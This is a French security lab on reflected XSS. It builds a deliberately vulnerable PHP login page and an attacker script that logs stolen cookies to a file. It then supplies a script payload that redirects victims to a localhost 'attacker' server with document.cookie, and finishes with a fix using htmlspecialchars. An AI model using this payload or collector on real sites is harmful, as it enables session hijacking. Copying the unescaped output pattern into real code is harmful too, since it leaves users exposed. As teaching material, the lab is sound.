XSS réfléchi
Injection HTML/JavaScript XSS réfléchi (Cross-Site Scripting)
Principe de l'attaque
Nous avons vu que l'injection HTML/JavaScript, aussi connue sous le nom de Cross-Site Scripting (XSS), est une vulnérabilité qui permet à un attaquant d'insérer du code malveillant dans une page Web consultée par d'autres utilisateurs.
Le type de XSS que nous allons étudier aujourd'hui est le XSS réfléchi.
Dans un XSS réfléchi, le script malveillant est inclus dans une URL ou dans une requête envoyée au serveur, qui va ensuite "réfléchir" ce script dans la réponse HTTP. Lorsqu'un utilisateur clique sur cette URL malveillante, le script s'exécute dans son navigateur.
Une application Web vulnérable
1) Code source de la version vulnérable
-
Dans votre répertoire "Documents" créez le répertoire
tp_xss_reflechi
-
Dans le répertoire
xss_reflechi
, créez le répertoirevictime
-
Dans le répertoire
victime
, créez 2 fichiers,login.php
etindex.php
.
login.php
:
<?php
session_start();
if (isset($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
header("Location: index.php");
}
?>
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="">
<input type="text" name="username" placeholder="Nom d'utilisateur">
<input type="submit" value="Se connecter">
</form>
</body>
</html>
index.php
:
<?php
session_start();
if (!isset($_SESSION['username'])) {
header('Location: login.php');
exit();
}
?>
<!DOCTYPE html>
<html>
<body>
<h1>Bienvenue, <?php echo $_SESSION['username']; ?>!</h1>
</body>
</html>
-
Dans le répertoire
xss_reflechi
, créez le répertoireattaquant
-
Dans le répertoire
attaquant
, créez le fichierindex.php
qui va récupérer et stocker le contenu du cookie :<?php
if (isset($_GET['cookie'])) {
$cookie = $_GET['cookie'];
$file = fopen('cookies.txt', 'a');
fwrite($file, $cookie . "\n");
fclose($file);
}Ce script PHP vérifie d'abord si un cookie a été passé en paramètre GET. Si c'est le cas, il ouvre le fichier
cookies.txt
en mode append ('a'
), ce qui signifie que les données seront écrites à la fin du fichier sans supprimer le contenu existant. Ensuite, il écrit le contenu du cookie dans le fichier, suivi d'un saut de ligne ("\n"
). Enfin, il ferme le fichier.
2) Déroulement de la démo (attaque possible)
Cette application Web permet à l'utilisateur de s'identifier avec un nom d'utilisateur. Le nom d'utilisateur est ensuite affiché sur la page du tableau de bord.
Cependant, comme le code n'échappe pas au nom d'utilisateur avant de l'afficher, il est possible d'injecter du code JavaScript.
-
Déplacez vous dans le répertoire
xss_reflechi
, puis dans le répertoirevictime
. -
Exécutez le serveur PHP bienveillant : avec la commande
php -S localhost:8000
-
Déplacez vous dans le répertoire
xss_reflechi
, puis dans le répertoireattaquant
. -
Exécutez le serveur PHP malveillant avec la commande
php -S localhost:8001
-
Ouvrez votre navigateur et accédez à 'http://localhost:8000/'
3) Les étapes de l'attaque
Nous allons essayer d'injecter du code JavaScript en utilisant le formulaire de connexion.
Par exemple, nous pouvons saisir quelque chose comme :
<script>document.location='http://localhost:8001/?cookie='+document.cookie;</script>
Lorsqu'ils se connectent, ils devraient être redirigés vers le site de l'attaquant avec leur cookie de session dans l'URL, prouvant que le code a été exécuté.
Correction de la vulnérabilité
1) Code source de la version corrigée
Nous allons modifier les 2 fichiers, login.php
et index.php
.
login.php
:
<?php
session_start();
if (isset($_POST['username'])) {
$_SESSION['username'] = htmlspecialchars($_POST['username']);
header("Location: index.php");
}
?>
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="">
<input type="text" name="username" placeholder="Nom d'utilisateur">
<input type="submit" value="Se connecter">
</form>
</body>
</html>
index.php
:
<?php
session_start();
if (!isset($_SESSION['username'])) {
header('Location: login.php');
exit();
}
?>
<!DOCTYPE html>
<html>
<body>
<h1>Bienvenue, <?php echo $_SESSION['username']; ?>!</h1>
</body>
</html>
2) Déroulement de la démo (attaque impossible)
-
Déplacez vous dans le répertoire
xss_reflechi
, puis dans le répertoirevictime
. -
Exécutez le serveur PHP bienveillant : avec la commande
php -S localhost:8000
-
Déplacez vous dans le répertoire
xss_reflechi
, puis dans le répertoireattaquant
. -
Exécutez le serveur PHP malveillant avec la commande
php -S localhost:8001
-
Ouvrez votre navigateur et accédez à 'http://localhost:8000/'
Essayons d'injecter du code JavaScript comme précédemment.
Cette fois, nous devrions voir le code JavaScript affiché en tant que texte, et non exécuté.
Cette version du code utilise la fonction htmlspecialchars
pour échapper au nom d'utilisateur avant de le stocker dans la session.
La fonction htmlspecialchars
convertit les caractères spéciaux en entités HTML, ce qui empêche l'exécution du code JavaScript.
3) Principe de la correction
La fonction htmlspecialchars
a converti les caractères <
et >
en <
et >
, respectivement.
Cela signifie que le navigateur interprète le code JavaScript comme du texte ordinaire, et non comme du code à exécuter.
La correction consiste à échapper correctement les entrées utilisateur avant de les insérer dans la page HTML. En PHP, la fonction htmlspecialchars
peut être utilisée pour cela.
Code de bonne conduite
Toujours échapper les entrées utilisateur qui sont insérées dans une page HTML.
Ne faites jamais confiance aux données fournies par l'utilisateur.